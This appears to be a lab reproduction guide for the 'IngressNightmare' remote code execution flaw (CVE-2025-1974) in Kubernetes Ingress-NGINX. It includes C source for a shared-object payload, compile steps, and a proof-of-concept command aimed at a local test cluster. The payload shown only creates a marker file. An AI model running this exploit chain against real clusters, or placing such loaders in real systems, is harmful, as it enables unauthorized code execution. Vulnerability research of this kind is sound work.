Kubernetes Ingress-NGINX Unauthenticated Remote Code Execution (CVE-2025-1974)

Ingress-NGINX: An ingress controller for Kubernetes using NGINX as a reverse proxy and load balancer

The "IngressNightmare" vulnerability (CVE-2025-1974) stems from a critical flaw in the Ingress-NGINX Admission Controller, a core security mechanism of Kubernetes that validates incoming Ingress resources.

This controller is exposed to the network without authentication, allowing attackers to craft malicious AdmissionReview requests and inject unauthorized configurations into Ingress resources.

When chained with other vulnerabilities (CVE-2025-24514, CVE-2024-1097, or CVE-2025-1098), it can lead to remote code execution.

Some exploitable chains are as follows:

CVE-2025-1974+CVE-2025-24514: RCE via auth-url annotation injection

CVE-2025-1974+CVE-2025-1097: RCE via auth-tls-match-cn annotation

CVE-2025-1974+CVE-2025-1098: RCE via image UID abuse

Environment Setup

To simulate the vulnerability, a K3s-based Kubernetes environment is used for simplicity

docker compose up -d

Wait until the Kubernetes API is ready and the Ingress-nginx controller has started. Once the environment is up, Ingress-NGINX listens on ports 30080 and 30443 (TLS), and the Ingress-NGINX Admission Controller is on port 30443.

Execution Steps

First, compile a shared object (.so) payload that matches the container's architecture.

#include<stdio.h>
#include<stdlib.h>

__attribute__((constructor)) static void reverse_shell(void)
{
    system("touch /tmp/hacked");
}

1. Compile the source code

gcc -shared -fPIC -o shell.so shell.c

2. After compiling the above source code into the appropriate environment, use exploit.py to exploit the vulnerability

python3 poc.py -a https://localhost:30443/networking/v1/ingresses -i http://localhost:30080/fake/addr -s shell.so

The exploit works by forging an AdmissionReview request with injected directives that force NGINX to load a malicious dynamic shared object.

If the exploit succeeds, you can confirm that a file is created inside the ingress-nginx container at ssl_engine.